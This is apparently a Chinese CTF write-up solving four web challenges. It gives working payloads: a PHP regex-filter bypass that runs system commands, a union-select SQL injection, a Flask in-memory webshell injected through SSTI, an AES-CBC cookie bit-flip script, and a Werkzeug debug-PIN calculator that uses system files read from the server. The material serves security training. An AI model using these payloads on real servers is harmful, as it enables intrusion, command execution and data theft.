Please_RCE_Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}

payload:
GET:?moran=flag&a[]=cat /flag&b=system
POST:task=array_walk($_GET['a'],$_GET['b'])&flag=please_give_me_Flag

首先绕过 $str2 ,preg_match('/please_give_me_flag/',$str2),用大小写绕过,刚开始没看到没有 i ,搞半天绕不过

然后需要绕过 $str1

1
preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1)

找php的相关的函数,绕过限制
比如: array_walk() 没有被过滤
用法:array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )

1
2
3
4
5
<?php 
array_walk($_GET['a'],$_GET['b']);
//xxx.php?a[]=phpinfo()&b=assert
//xxx.php?a[]=whoami&b=system
?>

ez_tp

非预期了,可以直接在log文件中找到payload,直接得到flag

1
/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

H&NCTF{Cjp_0ef904a9-53aa-40c4-9223-f5b9cd8e39f9}

ezFlask

image-20240528173614596

只执行一次,注入内存马,还没学过内存马,看完wp,网上学了一下内存马

在/Adventure路由命令执行(不晓得为啥那些师傅们一眼能看出来是POST方法,拿到这道题目我都不晓得要干啥,唉)

payload: (网上应该有很多这种payload,很多都可以用)

1
2
3
cmd=__import__('sys').modules['__main__'].__dict__['app'].add_url_rule('/shell', 'shell', lambda: __import__('os').popen('cat /flag').read())

//直接 cat /flag 是因为题目说了只有执行一次成功的命令就会在/flag文件下存在flag

用其他的师傅的payload可以在 /shell?cmd= 执行相应的命令

1
cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

然后再访问 /shell 路由就会出现 flag 了

image-20240528181132636

image-20240528181159675

flipPin

https://www.cnblogs.com/Rxuxin/articles/18190160
看wp复现

根据题目的描述进入 /hint,有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)

app = Flask(__name__)

filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}

@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'

@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res


@app.route("/read")
def file():

session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'

session_data = json.loads(plain_session)

if session_data['admin'] :
filename = request.args.get('filename')

if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')

try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'






if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)

审计一下代码,可以知道是AES-CBC字节反转攻击
{"admin": 0, "username": "user1"} 将0变为1,满足 /read 身份是admin,然后可以读文件

写下脚本得到需要的session

1
2
3
4
5
6
7
8
9
10
11

from base64 import b64decode, b64encode

default_session = '{"admin": 0, "username": "user1"}'
session='xkDYjXtSgdqI9HuG1z5F8ubtla4c32Twbrfi7N84YlMhrezP813h0rZr8jW41C7bHTFgEkk6tg5aNGfczF4Yrg=='
# 自己可以在浏览器中查看session,更改
c = bytearray(b64decode(session))
c[default_session.index("0")] ^= 1
session_1 = b64encode(c).decode()
print(session_1)
# 将生成的session替换原来的session

然后就可以在 /read 路由读取文件了,然后根据相应的信息利用脚本计算 pin值

报错得到 app.py的绝对路径 : /usr/lib/python3.9/site-packages/flask/app.py

image-20240531200458979

/etc/passwd 路径得到username为 ctfUser

image-20240531200124285

在 /sys/class/net/eth0/address 路径下得到mac地址 将他们转为十进制就行 2485377892355

image-20240531200641254

在 /proc/sys/kernel/random/boot_id 路径得到 machine_id 的一部分 9fd11036-6c2e-41c7-bb26-7d358f670070

image-20240531200955568

在 /proc/1/cpuset 路径得到 machine_id 的另一部分 /proc/self/cgroup被禁了,所以使用/proc/1/cpuset代替

7ccce9739d1066ac3e17dd56a2cb89f74493eaa4c485c19072536d3577063b71

image-20240531201117936

计算pin值的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'ctfUser'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/lib/python3.9/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'2485377892355',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由两个合并(docker就后两个):1./proc/sys/kernel/random/boot_id 2./proc/self/cgroup 由于cgroup和mountinfo被禁用,则用/proc/1/cpuset代替读取
'9fd11036-6c2e-41c7-bb26-7d358f670070'+'7ccce9739d1066ac3e17dd56a2cb89f74493eaa4c485c19072536d3577063b71'# /proc/sys/kernel/random/boot_id + /proc/1/cpuset
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

进入/console 路由输入得到的pin值 618-860-418

image-20240531202844435

import os
os.environ 得到flag
(通过os.popen(‘ls’).read() 可以列出文件有flag文件,但是没有读取权限)

image-20240531203004830